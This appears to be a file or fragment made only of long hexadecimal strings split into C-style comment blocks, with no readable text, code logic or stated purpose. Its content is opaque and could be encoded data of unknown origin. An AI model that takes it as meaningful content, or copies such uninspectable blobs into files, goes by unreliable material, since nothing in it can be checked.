96dbcfce506fd3d70879f46e169f7efbc49fb4ae573c93a737dac548db587411793454b7e7f304806eee564055aef1085e917ca016a9296a320fdeaa402fa64db3a84411434eaa964e0eecfd750c5e4bdb76feb287d92d6118e18e0e637dde3c1240ed42400823dae1e5a5983278bde80882ab337095ab438fe01cb9a59f625f2c3c70544edf1110659e68eb3da77f857cb75ce32abebefd81b636a398136339381a8f0f213324b92d8bb6bf8a24a18a22c0e4b0a2267d4cc97ed78658e033c84ce5cd2ee56f0c061ab9b8519659c98d58fa1dd5e4867e077ce76e73a9483250ace6f7fd21acab8bc324c84e8810df21fc8b2681f65b63c1c41294a5f2d4cc0af7e376d1919c7505676630350f844f259485d163b788e2d550b5236adda372aeabd4315dfc55fa1b0e578bb9ac4035d46b91257aef38217e0c31ead4710f7fec148947900918d120ca5e3182c9739799db3bb626d3a2a455e3e8389f2e635ef00efc7eb4dc784c809a46f99784a2a16f25c8297457802e9838d03202207c6c5c0c8c44db82f38a7de854aa3f5ce6e50763f5565e6236db37be88d94e741ba137782f2533ff4691ec3a703d35dabb215891dd4054b6c7f66aac898a95566bd10d120e50a0e6e1ca117d5d246ba1c2988f233d6c663342d1dd9a4a63183894811b41b50a382076c2cb2b36b7b0d83acfb2d21fb33fe34e7ce3f246d1987a4f9816187976f24fa1145e0c7ac821c846c5f4d1e7d5e0be1da544246c60cd1936a87fe99999853f75795d2bb81fef0e4663fb13cb3ae167fd7a7ac5bb9cba5a78aec83ba6f22050384569c3f8373b1dd7fa4d8eb0e1a08668750172245f912a85afe25c852c0fbec7177e383f3f39a5cd2b916881762624988703cb348ecaaebb05509c6911d6b137b07e9ce085a75c2e4d9282901ebbbabbc5afb887a5f3c58c5157f550c90a3adf201fd6a894d2253a4a9340ce825115f419b341372b998b9f604b745647fa3ae8ad31fbfaf13b9e4e8643b4b88536fad6ecd7028e464d16f3c4d37d6d5a7c258585544214cf32e86c1d2d67c6b8c3d0300fded5aca65c4efd49c7b63be7bff70df3b1326603564f7fc388fc7d32e8cd82cc91dcbab9e4d1fc78cbd404192ba70d937b945cc63480b2245d98a6a5fcf554bbabcbb3eeeabd51f730f646019a180464b2167b86a8cb0936bda92ff3aa0af29afd76ca7cae7e45cb72efed66533e668173ccc1379265fdb579b3479d329785247a4d6642861373ece3c9795596e610c45f6dea5ff67e835e8c1cdb71e6272edadd09933084ec*/
/*4d231f1b14d834d9e2ea002916378b5f74a6a200e3ec28d6e8af2b7948dfde8c791ff6bfd3c25d38710cb15a8f738f7c7458bd6fc49e30f562817249059bfb25a3b707388283b950027de6fed14600818e52f991baa5e6cb3b38e48e5d5da5ff867f00043b4c79124392e0e96c41289bbf3b13b3e2baf74fe84230901eacf62ca8dac6ea059353a31c4ab0bc979c30bbfa4d390e48d369b8f3175dabc2fc6c01bee7df53e4a3c4f4051bb7de42bacb16cebc6c33120da75d5f93cdc993c234d4d1c83324b5a8ec9b099dac819e51bd858b359a8d7e131b88fce4b77c4c70f4d760e5a0b398c792a1bc9eb10b25f8c5b9042d2dc268f68f1f49a286f7803437fc5a674ad11f8c50d7eadeb544c0a684f45f9083422d37cd87bc6cb70502eeefb470aa99abd77255f014cfb93824e4da8dd0b500da7e8d8853ed53fb984d8c9b4e352e30d9f9ccf9df6862719165dc1495bc27603f0a48926bdcb9cdb851850049fe68caccbf931bad80db63013c5807f80fdebeb3c1f53505611c45f08a5d78d745d95a74890dbb22d5878ca20053fb265a659e02bb05148c1314875a9148f8a564e927b691b6d9e4e7a342f78898debceb17a54c6e9184ebc8f6ab9f4f5fdc417e4ec5fcc3e42ac1479eb429f100157b1f62db62301ccde9a900c48f93ad95a5a690ecb4d3e5d1edb67b5550d876a1692276e4616f6ed383c6a6d6607bab597ca573047bb0cd3cc762bdf959448d999d3e2b6011e4cbcf302892c2df3154db22d109537ab463c0df053f28b47661d2d0f9d119b33ea6357a7c1a10ac88b031c57c8a9ecadf628c47ffce05f81523a1676ff977e48b9a053eba882518114fd0d6bb379d8564981247d2f8286ad3c10e9ef51470e8c12ac4704eb7038a533367e9adbd69f514ffa7d6558541281086bc9f34caf1fbc693bf6712efae3842150aedd23536d1cd361fb6cdb8e9c0c17fff39388b88cf4111b2dd21b67c6959a1b12141a6936b7f070d3798f917474da4f055394f6e26ccd82dcb94a0e76ce8b18edfee1e4c9e98238de56bccde0a7f944d262b3dd5cc2a4ce0ad9a919c4557bf25a14d2199e9819db61e51921284abb2be2d1282333815aed03fa99faf0c23c4caa7916f5742799e8e0811b9ac14a42ba89ceaa4fd035e533a57aa1eecbf721579b64f73f400b25c0ed2f1da455c7d6bbf0b5b05e3b4522682d3892839cd251eab6f8b4082faacc048ccf444efe32642f324932f6f3788e3ace4407cac88261f1ec0183678065a77bc68f0397e210862f00f42ec4091d43871463108a059938e6f7086e1ad112e8613f670a31844151ddbb09432f32eaf93529be0c3a233f914baecfe25b5afcd4d21665d8af4754288a6876637818bf201ab187b18b65b26c34924bbdf6f0b3962e396fe34299141efa510906c34ce28fcebd5422b2071ffc36136f5bf3550b063471ac383c53ede195ad83b2b6ebdf14f24c16fdbf5f1d50345c6c91d253d5fdfa2fe0363df9e5c69fa3df104e069c6bd575f9fff6706db03ee5bcdc86a73198921c66284b5a60a02bd37027c9df9af67026478e737ed3c796487b63581f68b081d05b3613d51f6d963dd37d13d1d90098b8f013d7a49dac2a4ee6471ad6cfaea0139523a6da68427d7a61a5dd52298e6fbde55012242b93896aa41493c9c513c3feb5333c7301a1047ad4b8f458b8300d0875fbe19bfd5858f75bbb346b060dd514ea6aed341778be6a5684d213b908ee4dc0d9a7fe21b07ce773c297c82d896bc3109bf858a0f5d8555db255372dfb7281f2242434bc239064148ebe57381f6f44148ae639ce0a61a0b421bc51e15311a3014a7b713015145e4b480901b870e1e6fa2f2aef253fc104800c3c17b26e13d98eb5537963e35c47ec5a23cf26fd2553e0dd0645eb1682a709d02201877d1dc2adf0b345bc239ada69b5da4018434a54ad99f7f7922723014256fc8dcbc567669322c72803004e3b155355f127832a79c5841548215504ae2c7da596d7d04fe46a369dd2528c3ff974897ec08fec0fd7fcb66df871fc557fc913d4479e49fee3f5fdecdd996bc0f8bede5b259a69e1fa5f1a3ce5e8b0212041c95f6ed770d88139ffaf671c41527722cbbed30aa4476c41df5449b83880e5ea372fbc1e9d3cb0195f9d8649e91345d8fb588c538c8785f3f4c4b4a958ad1ccc81a153a15732e2d08c87e82f75f6faf2f9ae0873ccb98328491946bd95a8b305601273f340f847541cb9dac2f13c66b6905ef77a2e4f6cab61e11a88fc08ff0af253828e8e8aa73c91a08c88d210d7281f7c1723bd95967f73e5a0a2dd67fa23daabdbece58bfdaa3cbc7a659115b79a32fa3f657ca62a66bdc45f444caa78d3f177b1ab3740d5c506245404500d9b7265ae70f161cda25ef6c39bf118ab81dd38a756c91daf536774ff557a09f0fa2e56eac11ee73f142b1605f3e77b644306c78ef8a6486f62163198c4e789d8d5c351411cf9a7b2d27801440d760909382dea1b96968975f3dc55afc13c7c05a0969dc6bc86579f1a15165d420fa9252869e9ebc831dbb113e98a5f0c7ebadab4befd971a79ba3e92adc78ad9ae4644ea2341bff41f912a384cc31c8ca3a19e7169ec212c0adf52fd16f5c2a040820d2898a0bccb46e8a4077bf0df1e3c322200156a9bae4ed132a53b40ac871e17f9bc4e8fa45e393b1b6bcf1cb2d3d0ba55706c08c2d896839b050e2b42e1deceeb05877adf28e3d8db7b99be7edca41915a67b48be331078eb7238283cef20e112a02e6312c8a7e38a9aa82c7594614796b1546e1a4597a46a555850c417d81c4b51a*/
/*156d626900f50942aee491396ab87346e3ecacae39c6ac8627a7c120a0aafed92d1b35fb51068cb1aa298cdf1f2530cf691721d28be87f08faf4e89d137113a3cb2c295371b6fd4d315cfce7667d4c52ae77f2cacdcc86fda9a8d0fff75cd9c9812922fc3ea025c57bd2b620e3b9f01e8a92864acaee0f41b2ecfde3bdfa3c87b1192601e2fa19517935e1eadd21fc969f9cf825012a179aceb0580a2faeadf77df00ddff273bf365a11c1d84ff86cc682b7734f81838809992ef4740e60e19d2f464ba4657dfd05e2f60db23c89743c861c4fec64667362418bd974406b6f4710e3d5350256d95b3499934a338fbe4d521186df83c52128e4e063957b7d4258af517c02e731162a279b6b74ab6d14ef3539d093795306e991ce763ef5c9a678ca79385f6768ede1f915e2e36555192bc74075edbf495806a2c6cca3fb95449f11a8c6e04cd444685ef81bea53ee4301fbcbd18fdd0b63037cb4942efff692fce935a6c9a35f4d67fcabf80ea651fc257c0f46dac3e345f8b8b1ee897b72a97e586de8ee60f15f8e78b6677a6e958ce57e2d1b765d4a1a83053f0e55c8ec639666c0ef3091c731f7731177610d092954527e96a80fb74c38faa009ea144f3a371f46c51461231b5d416b53eb36609dc22c8b8c65c9f1a27827d20b6d40e78f6e4f5751bb992b9e36c370eba774be7b89006bb95951e22420671f3a9e891af02de5dd5d77f6567704b01a0c32b1d3bb997f7c9918bf94fd7720dec28091f6e606a631054a1b320e48db81e3a78e9ecf7c7b4dfd688c3853f047fbcd09ea365574b0db549721028735128920490c86f01df8dc93fc6de51663447190aee5b19d1e12bb008c1e4efc585afaeb19fca54bf07d6e49c66af88a3741901b1f26341c6da9ec0405014742e5110c3bc71bffc1a422c14c788c9d22d392e7ae7f564beb2f565486b997cd54c03e06df648addb7a7756ad4c6085cf95275890f96b4565c7bd4b6790c150d93c95dfd6be0187650927056a6cc9cb3238f0fdc702edb5de5f81315b22e5063279a7dcdafe0fdfd063e925d7d26bcc3b08dc0e65015ade67bd40a46fe4ba2487ef0165a2c7c32c614b07c488f5bdeb90182bc91db2834000dae10f7e2cf7377811e4f2810346b8ea55345212c9096e062defe25a88ff7bfea990bacdf3c5a2e436feb40cc6812207f616e1bb0e3d22a37a9dc7e6f39f8b5093c8a8b63970d410eccf675fea8a91603964e49c61447c838c0f30c47bbb378619300b9c437395c4d6a59964d6ed10ea1f364b17d4a8bc2f66ec6fd3875846a3b4f5b050b411576ae85103941d02312877a0e4bc147fa2ca814dda9449b7dde5b6c67552d61d75f6859ff6e685d3b8231e420b1c3f2cbdeaf2b28915deabda1d9195dbfbb8a06fad79284a2850eb173287b450cb52972103229d5783e40351ac18a059a51da4505b39b4d08c14ea70f518247a2665eed036efe93697ad7e7ad4c2b1e1ac30551bbf2590d0ee3e1b62a1c809c5c0842690cd3588735fadb84e2a8ba23ed9b671877e8f1e5ae7ca3870603b591fd9fec1a2919f6bd316b3f0581d12ea4ec5bcf230755ac77b4f7da9e9cdcb68bdfdd391dcdc01b10033fb09e216b7bb64602f788eb046d924f7cc3797c485b5c7742bd8f1df3dede27bb62cec238467e6f71df6ecdccd226b6443eec0808ff594f9e3cfa7c74555f2da50b37123df8ae0c29af3b68f5f3827f0aba66b8cd515f1629f3ee61e995b1804689c2e8dd3f99a65254197ab94770652eb3bec865c87a21e8cfe5fb98447cdde5aa4d25d4a5a2a281f3291ad35e6d03fc60088fc4f0cc75269b6585291024f789e5cb0eb42a4099904c2118faa369572f3e63d34c3f9635b7aba96e9b271d6de4998ba442219be65edc73d75830ec88fbcbda83e739b67ddee20defac2e547d003cc3c6c9e1668be17955c3e73e0d37966b5095d25327075049c15525cd32b5652e1f1aab899a8de7e48c0a879e605375efac3a53d46d93538f1473e1b90512ba3840adbc484c02d50704a7228f6b671a4be533f297f2998ad34a52a18c72ba320fef32386990bddadf243be85bca9c94af422617b853e7d131c5bb53dc237f0418af4808afdea6d5da3bf4bf36c3d543e1ba50a8728d80a70240ab08a401bc57a5a9284fce0f6ea48bb448efd19680d3bc7e60d5d243938601a49b7d25afe20513dd31927e74770757e8ed80151e7809c6d626a592b3f9220f6a37c1d52f74a86e2765c43b63670914f7693a70ca02fa69cdc1a8708643f04d997fe036dfb99f565338c65722b4c0feea366e23a0fd15a19b2c4bab23d49c10f6179821eec67181d1a10df85f6aa988ba4e4c1af6269085cbaf3ef2f8804dd52571cc66ca5e290457add44b5a69733059df4a78c6ead762e4b8284c67c3d70a17f002a8692360ba0e9e87b2cf386a73c0fd28e7f7147a836ddf9c6aa7de4591a08fbfb751941ec5f4f88ab692e948fdc878b5ec1e460d9b5078b85fa1c3e1512bd44d765f66abb3c159a1301c9e86164e949978e9d77668d5d47d6e16d233ec9aa080ea8d6ed62128ad956c4894dd0353efbb55a8031b7740c46001dda026c1bb1b3545af0ed330363be4f4a75c093742a2de412b77dd9cc1955ad8889c0f6f7f1ddf60ff9dbc81a956f9923a9c7b7702ad81d2deb325e004e03569c1ecf3f3cc00f68fd9aaf1f81613f8ccf5682e9762eb279100ef48cd09fa08bab2f384c3f59d6de502a8b29509e3992fb379ef4db2acd1182934660b130ac4a1fb52421d433d91cd36e4a9421df8dcbc5563dc5083ec432cb71cf230b6d8f887*/
/*cd7e4d74143effcedd7f712f50601eb00c5271f866b9c2dba2761bfcaace1e3e549a57a1e353a1663a4f723216cc92ed61b1db01c0c678f589d189b2814574090b33080783ad167bdd0fdf643a96b282a2720b048eb76c76505de6e3be02171a600aeedb2295c9ce7b9b8a7da05c0c40728b3aee0c4024c94c5b56cd3210fac95234d7c4290b5a23e7121615d4e1c2a2bb185f5e02c4a905c5bd5be21b3867ad815cba982bebc6114bd8234956527e1dbe35aaae7a1cf665d4937f8356bf9fb4504384ddef8419b366973f7cc9fc1a8352a6f72a3454b23c9f5370d1b5040b2d0eeb5ae129c63ba2adb227c80a8be7177df1090716e380e510efe49aa71930524ffb17dff30d43f85578a91ef57b8e71cce96c9076f88448a184acb60d5a2d2572f8214a3bbf1e97076c7613c0bc8494be640ff5bde55d758fdaf47167d009497f4d77ffa6ace2a797ac84e51382b4e3c9d4cea0cf67bc187b201976607eb1a8091f2d993e395076a2ad7d9c456cd806bc84b30ee7e908b04063c33abf58f9cb439797ded14eb098c2679d2b1a47ffb3955e83175bb1447205e76de5e50b26fa77403d02dd0736a2f054d52005f691a2872263905e770498cc9d02ba62402591b3d17b82154dd24d7367424198d01fe7ae84b02caa6ed267ec2320ff8f5c7238bcfed0d2920fed8e6fed76a0c1fb307475fd7f40e49be34e7450aaa9c15a2d575f1347f24e615c3bf17534715f09f318f9d30afd2bc76bb59ba09bf9e237468ec6c1dd6fd3078a62b240e1326b9b110ec0ca7d5d63fd925c229c1e9d513bc85161532f484924319fa79bb743c35dcc10b08e981755c2b9b392b4b4778a4e5c77d9aa66f3a91fb908175318395566dbc9daa5e11bb11ced65ff9cd735d582911afb5df916800e1a85fda33784e0047415a84a59491afbdf6433a0cc2431308226c98c7c92b4d6b642673a32f14eda5474a9f71c556e4540848b48fb20f66d21216f42eebb111d4d7cb179f430ffc589304e6645372fda9d4840b307012637cbe03a70c0b02b606ffc6d1459654416d8850431291c4a60bcaa92ac6c19bd92881e1b9a072a692e139bf1682921b8b31311c21235fca9c1250a3f43b86156ea5fa92920c9843f571aa076354d3daf4d7b1f0ca1b075ce256ffcef3bd70ab7a6be6af2fb8d10445f97cfa1d3f4074496d24350bd91d6d0e6fec848b5b6f339feac4754b3c1945a767c08ae401e2ec4b7626a847280bba476a525ff5b708bf80b754cd2f87f27109f0be0dcc5c23440e2ae015b652697b254ce4d0f46dfda551c364ac49e667ea0d7f2526fdd1b6546f921d80ab03595157cc0127f800830a8ce4b4eca9523cdba13cda580d892e86af18af43afde7d47a198403f407ecec992becb5bb491a9dd551c6e47a79b670c4f47d5791d109e0dffb513c5c61d25ae794f0c581a6cfa318da489551196d381138319cdefd23f9a80a136ee3014b39fe5c13c3b0785aa8c05a36fe35ed9a0b2e8c7946428fd3c00897b1525e310f60938a731ae18ce7bcb24c6c5c44a72b3eb30a4f7e9cdd82361b76cb8ad7c7b1b777a404b3e312bf666d8788cd4030ebed8fe19efbbe55a95e630ed2036e9d8d8dd0599627a28d957349ec45b587cebf2439edcc0728bb43222157da329ca37651230d1786d31a5b7b2d2aaaeb014f93af2f2925615a412e15583e8524565221948a81e1f3f946be375f753c080b65fef2f7dc2926b708c4b51ed81aeb80e8d14a1fd20aae5b0517cb813c58d2a49ee4d60636b56ba1be10dbef66afaf3aad26923baa9fd6634718293fc8aab5d2a3e3b18d9770e7c120c80b8f2844f2d2b7be86d9e24fd37c3c6d80cbb56c38bb3b6fafecadc7432c51e576defaffcb41271c2dbf1f6aaf72b41baee2a6bac040096a1d62d864d2f030e7446bd70d9f738f7ad06a0cb3b7858521347425093d222b600fe7c8a4f075911352a18d8ee067e7570e8703d26a19ff818446e2d85e425e21c5347af13e5416a9b1eb6f1e7515dceba2e37b6d8be33a96c0cb6605ad365ab6cbdace1df8e53cb3f2304fb9fc75b1273b6fb6bdb1e6492e392c37d00746c06462939ad1d3ee9469e72d08f2f37c8adf4d61ad624f97378b2335bd3292d9f876ab3307cd536b0b66fc4e5ad8051d796b9db331048573aa425b9f5a99637ee16c500e6463591e3780489f9bd5cfc1b07f9d5e7302c961be5499872528dcdb682eb9121de4f6ffe8ed508c345d09b5605da5aebf7c1bca241b7c576d5ffc396da0ad9b0fd65bd110d6e6f81e01c5a6a3bcfd8586b9cf4bfeb5c220111185766b360b18170065e48df3656266fe1be8ec5e0c34abe20fdf3a814a7898817d4bb348352c283ab8e30211a90602047c8f9dc714bfab8d99a5dc0b680f0b2dd6ffe5b5216a9e9e85b65c5de4b26822401b5c4a4123fb7159cd86c837e38071f06004ea375097041a9846dec32b3fa32dcdcc13c95b98950e7759961197dcccd11ff0e1aa1fce2011a0311bc874cf223c459d2dd04a13b2e21059cd5e8a07e04443c81fa7bc7157ce46a517a047416267970cde4c51a2e2e4cbf279f3e95ff7c1b86802f2780b23b82a88797658236b1e8345c201fe52ae29a56f5e73eedb9865a303c304db3d8045201edc96463f8812021fc30a849aef54df60bc85a300e5bcfdda7e961e32477c0ba676660e314a62a5c759f91a3155b53dd3ac30628dbf9815e177a29a71d0b7f074869b1c686495d637337fcb3674ae3434357404af5dde87df607d55d61dbd37de700f13b489185537aa3ab6401d12567fffe4269abd1e9fa2115ef67a9160*/
/*39c2fa78e0ee4dae9b161c8e3104ad4d8ef48bfb88a33afb80932fae8febcf05f814d1da4fdf32eab4a98c2b409f97fd5747f2af6c489a64dd9109bba5b06d516cd6672db1b9bbdd494b604215ea4e69d57c4cd0fc86d44ecc45554a5d3cff4986024f126a6ae4c43d9a366e5f44f278defbe638fc2f19a20a98f979a9ee55a4547045af4a95c42d9ddac6e4bf2c44a2a6150b6e0bba51140cefcdf2c05f9f8b6b8da4fc0933d0f98c8f8c900054835bfe721ad1e4d499d28a65be95ca4154f77900416662a35fed547800121c2c07b058a6ace89dcfa6baa511ed916398ecded9b1faeed799669e9159dabe9ddd7cb893711ae58ffb1e0485e485005605b9403307d318f38bd00a260c5f5d7039a0cdba16c3b41f485964bbc08ec4bfedc0a7182d7709f2f85daa2560f6fd4e1f1b57fa403a83dc287b06f1843157705d47ff044abfa3a208921a0e01ba57a1d7a0de0b245dac9818ccecd3237a8e00e661cd9270dedfc0665b93ba3f6031bce36b58bf102187931e308b2c6d70e55695bc1764666c172068951df1bcd8f74e578400b49ad155d070e35e81bce2dae1145e9a111dc4de696c4f235c7ebe59fc7230e716ef21dd128b03d7c24322a48303d6b85ddd7cac9f297d7f78d890a942122fb9125ed40f5d76bed986f4863c34b7fd0aa77a1f31e8800fc82b158877c445eb6561cf4c82e0197abbaf844d64ed3de315b02b39e94c3cad3b45716387df0148c969ad6eed4310e46d5a59dd4390f187e5c8c0da872cd37586fc43e3c34fb1ec6ae03e1af5841f4988f9e36cf480d5393a5c1cc0d30963fea89c8fa7fe6b9cc7268ee9d9fc3420d88d0410341dc3ee24357a3e8c27d70cbd23670ff9696a52a4b593ead75233b04cef6e32550d82b79147bde2544057d937a200d8715e06dcb4b246d505ffc1f7837fb255e39c231bbd6bfc6bcc815efd4afde5c6199c6d9f8a51e64b53f50597a500e3ad52cea4099a52140ca8406be3b44b6c313afbb846f21f9d4f2606a588bccd674f6fbcd094fa30d783efd2d0ff34cbb59e68c1f6aaa8960d2888e29e73e40a32393953364a8ee5f61b588af60d577026ca1bedfe9937f6816f2e28c0eb572699d95c43ec50af631b547e7f5898eabee4455651464faad4c700b282cff5829aa4a59a206fcf75d25191fcdbbd0ea1805b1e83d64d1fc9af41a26a7e3ecef2d22357fb7a23b5a37b123cfa83c94b3ae3795f66a9ac3452508cfd484c15170f9e8d8318f83c77738fd44cfeed16c2e5a2b3483e96292d0baa18a302b2bb9210e662e4dad237f62779d7635b00d95b93a5f0e3298298d78ea211d609b7bae3eb1bb483f7e3991ce477e72d6d32f489fae7b6b75e29f73539ffaea6c0415a917d3b2f59697cbf436bd4bb923b1016b7c36523f0620cd0e5a52e466cb51c05b689632a74db84cf7807d47002d38b37055bc6a0a5fecb74b6780bcbe601e977b149df833e00de47953e9a4fb2e0a2f63c3952abe42573f7bb7fc88b982a3079bbc4a636b94a7f61ef8eca28333cfa3d5f0cb0bb1ff0cc341484abe9ed1ff7335207a6bb4c2feb2afb260c5523877934f83e5c89e5fc75be2c2a164465d1988fee1ced83bd23722027b561690326530ae63acfbf4dd2024a9dd8bf782463a898e73b94645136ae3ec23170629a2f9a6cfcf927e7a41ebd99356712413d62c6fff17c86257a8034d81605614b7d572d7cf38d70f021f730ba90bdd955193308d0452e893037860e48c3e119b9e94e62662f732d31f7010f16755077caa8c76f50f4698ce05753dc2ecc9df92297c69411fce2da4634216e894673901aa2fd06bf56ac8f6e436d34ae116b05f854cb3543cff23ce7f9a82f69da8a27458e707477d0a6a8b68737c177c424f0688d1c1d63066ca792ae1dbe8a479d57847957ed230e2b18f5f4459121bcaf7caf672ca27ec74d4a576139f47c23cf9851dc88f1ab86818c1980e0873ef76c81d8070ab586c51092b7b9fed1ff068a359f0298eda4dd971e66322e903dca63c6cacecebecd38da25eda29a6811f9be560f1254ef720486191e92f1dbedd18cc17cb969a89c64de937093b682d0d24a47ec1e38db0fbb8ddd0e4bf412aec4565d1fb0fb7785f741c88e61536a16fce44a672acd1654e4ab5831af47b4f19344313c64534a1c6f74202a9b0f8560403e4ea39c4fef58e6d63e64fbc558ce664913b99ecd10745f3cd77c0bd9c89f933ebdc0ba84a8c6198cbc5d4a49f59c00049d131860e4cef70677393779f0c45c7f809de9e72dcb49387fbac5fbf4a92350814e1e70500cc231b6fef49fcbfeb75a0e8f53823fc2ade86ce5419284c77c8dc6ec6cacbc7dd842c9de8d1d49a09bfef26c42f2c1e66520ea3113de0497b7ab60aa68ca1b93dd8db89b3c286f74720f437f2416eab2c79dd4173425fe0e81b0e22f243fb8317c502a04204325f27d3ca7a1483d22c883f0d53c5021b03c8c77a83dc400c8a64b22288593855e1b0246d269f296fd33ed35b08df85688e702cd6b6c1259c686265572a0c42bd8846047091bfac4ab74802ebd0e9ef26db1cc94465dcc77096516277c65115c6b9fbe48bad5e852001dd95c8c6bf24e91f900e61d1451ad0952e8bf214fec4ff5be294860388a65336e20dd61d3db57ec4021f9a1f2c8efc36a35b72f75572853af9ccd793672672266d2917ca9b5e527b6f40d719071d0b924eb56bade1c2bf1a7a3481610e38ca43612c90d854b4fff84dd59bbc4cb6b8731f3a421d7b975843f123a81c45fec367827c52728118e02a0cc9f64a6d977c9091786f696f4555baccd99a2*/
/*7120ce8d89536a1d23ed24274ed97cdc95eb6965712d2bc3d4af0a31bfc5fe00b79bf37f283307ddc3609cffb4773a92f2bf3b0830be989b6267c6b942470efc608eebeb1c83d9cd25ab7ff19a0ea0e88d56faa29a059802ad9cac66adf3e2d57139dda3f8689d1102e2d20695cfe8e8481e99983b83ae2f7f9dde265325d0f61b89a28a670eee8b14f1db52125e7fc3c1266a6bc4451ab4079886f37771d2b06ca86781fb06ecf9ac7f76b48f689209ceee54cc84075d80d06863be2d5fcdbfdafe74909937cdf1aead91c0ecccf537eead10c8c2b3fa0e17f188f885fc98896cd0839f61eb65950f861324bd4ea46fe80c632766a5709fe91f2a530a4ad88098b9ec5b980466535dc829965db525e019c25cf8c4ed044b3d2cc1294d9fa3fc6df87db330a4fbcc7251cb11ebd998c536e7966d77b5fd89cb90fccc2319ea940b80e8c5a2f4f1a5eab342e645a36da35f40b6a8ee7da5e205905724076adbf770dffae63088f752ea7e449e75b010566cd7ce03098de867df7f4fea6e1038c973dd1738d093cb84f92d05b9099d9dd3ab48c533b489d5af02ae4da4d34d10eee37f00a494e9c51cee16562507486e36fc37c57c02d84ba64a17c26652e8f5bc3e1e023f58d94d1390cb86e6ed52e67f4a08cc8433a210a51937f54e0cc08f06043941c31ff80190f48c53c07423f6f76c5b248b13f381cfad5aef57079aab17377c788d30348cb9bc1aa49d7695011c652513c5f1b624b18ce86539987358947cb6840473190ed1b5e65ee4520be18d8ff00bd4b5a71f95b7b2f786c70b0eb0dde7728aadc684ce73f9e41060816725d097dc19ccb462516102f6e767de6ea278ed848672878703744254105e0ab7cfec9da2df7a497a39b8b189b9ef5e16568724390b4a3bf2df2efe6cd00fdd3a7f3839d2383cfa10ea923db117e297b9f27845e77e7c38023d7bd1451d053e3a20e2deecb571d9dfb519389d7109cb85e3e19df6d4768f409e4cdce647699838c74566e1fd53724d78746910e1ff949b5bc4097f829f15be55d3bff9e56c80cfd2aa9d7dee505530c07552567e47c9dc5f15136af1a630452e465a5c69dcc6aa4480ad2214f444d1212090920acf818de8d55b5992bd3861d5f3d489061e1cd7c186b204b052e5e5226a2e49376255c324dced1fe65338ed28dd80428bac7ab1d15766bc2d9f0cd2a3026372fce53e87e75a5798a40e9b688d3e84be562ad9e56ad780db3085f349d287528860c1fa579ecb29c5b5fb1e7f0f51d511758bafde315ab6fe1137b5f0ce4d9040202a458c1b1e7e5a881ba2b16c9ec02e2de0744b546d9260f02389cd0a16d1efd177e894a9f99a82ec39094f6e976c8652d689801ef39ad78f184cc3b414e5346eda1c021e9f3c74a06a69d10b78956876f95e6420cb8f1aee46ac9af49ee557da0f37eb302ec461627bdfbecf3dca816b4e121c6e8087f319fd739278ddeffeb1548bf06d334f390ffcc72e797b0d03233955688a5407dbd4ba83356066d1e206496bfedb71cdde9d1ae633a673ff850a42034a27cf4ea2b2f4cd3f4b3cac2dd2e14f6d118701b137481cb7cd7a02629a37ef5cd2566efba1c17a2079da3b514931100447ed7c4f0a27aa86ca0ed529cad8e40c2d161844101bc4c841bec33e29491edde86296c7a771f9edae60955696105dbaa9f9981bffbd3947b2c932daf3f37e70bc50e7ebe23552f061b4c7fa0baa49ab3d9e0f3c9c505585bb7ec55f6f99ebd468b6e51ba7f934461098138bd9a82645793ef30ea88b55ca84ec0d8ae2bdbe16355ffe9525ea6e566bd5c949dce5010140870906d6b47bc146ffff49fcea647a03a1b9ce9dc4be1f1a09498216d5470f0e5db6753f89d0e37ef4cacb40a144e77f87bd87a650b855d33344ba0d5d5f3b60937ded5c74b3ee28475c45aad7adcf91373b855199bd67f345ea67ac63ab72879a5269f82f52a5c74fa4dd949dc834966cca38b58b7e28a79eed86eee19c9814a9ee4285831bf92da6d586fe2dd832beba7257d4c9de67a2eccfc0672a16d7fc93a0d20dc479740cf5236c61742af9d98a72f5f048b3cf655cec33339fd7509e794f9aff9adae2cb2d30f5996b62d983809065dcdde532ebd68d4888e812973be6e12031c26ce0889d218af8ba4515597f7589e1321935576e33cbb3aaada649449418249cea9f1c7be11d769b9b56a381b4ade9c82760760caf40b1f710444761d6db08e734b880c8ca156dcf2b1415bb86a0950380b02cf40190a335d9b7ebd9d0c854f9d1f6009079cd17144897c19b6add6fd830e337a57dc4bae883d233b127f86309506bf7aad872d9db5c9115937e25724aec3d9e2ac9dd66df1ff8792acb231a0731a0400057afe2401dc1675e156fbfeddc9476e59dd0aa13c489743eea2ad866c648b577f7b7aba31be2fa4e66267b907d57e97327edca2d65c98713304742a850fe033fdafb78557bad45840932accf94c07c3f613529971834dfd936cefa2a5af67ae1ad64f021cecf66b0dc191e03cdfcd04a30b7426584b233cf0b0f34b385631b304f6a806bc2f76c4b2e0097d101f2c1056870d428bc0385ad21a73ec5ae7f8916bcd51b7b4a1bfc29463377f4af73f28c427e786e958a862b29486899f1ca140341316fe3c4b7dd64e1255de990f0911c239a9b1249bac9f149b14968493ffce38a5867339d7caa413773ab3398f6b0d8417d68e45a01c0858bb6cc8d0effd3c2a74c5ab11e0bb6fe7dd592abbce93bf71bbfc6b83f2d66fd52d0595d58d7d03e670951058357e107e26e52cb6d7ccf6acd1ef049b22f2b*/
/*8b23efc71fdf8ba8c364150f1974ad7b2ec30c67030aeb25573c09fd465940ce434e37ed8bfbfe773aa99bdd1673a8f998e3e3c4ec88b7646bdf94db08842fa33ce707bc32e48bc5615b6868f0d6939cc59adac235d6ae42390a484ccc21e77cf6b9e59ce5a599f5ce324e91321c170e16daf26ae06b09d2bd77ebd397a0e7290132869b18a9f91e90a74d4dd3d73361d355fa28bd21e31beb8d9bd39d246365d6d32cbe2555a87f2b0b30695caaeeb12b649840cf9f218f35995eb6c7480e446fb67df4cc655ee429eddc247e14315f731c59ca2c84d6b215bf111282fcd71de40d0223d338af845d2511ddcbfa9f86f99320e7ecc75136d5b64ceccd08acc81fc46ecb27410c0eb62f16a04fe4882ba8a5ffe9755d18b5378ca7abbc0b435e6d1e2ed40d3de25c8138863245386686a749ad16601ab90db86956901445c57edf8afb14c1bfd641333e17a1ef8c3ee8870fdcd30b055b8fcf07db97851729944657c320f1e37edec2b636e8ff4138d079ad714b6235f47d0011c6e1addeabcf9dc15fb82080e7f64ef3795c0ed65a73d4e51a59ceddaa44e37fe0aced96c53c1c5accb247f807f353f57f7b35035a1aa18c989d482ad67995879aae8137743d911f41aaa73cf3d12b8161da40b72368c118b007cbb0c48bff375388e6ee91f275b5bcba671703b5d83ea38b9699e11ecea44980e0435f7fadf2d408a79998589d5937d99519beec5be4a6193ec215255f35d0d1206b4b6662204141a3bf84fb136505d247836494b0fa1834a8b38a8cd609e93b20017aae4d778ef654459658a5a9f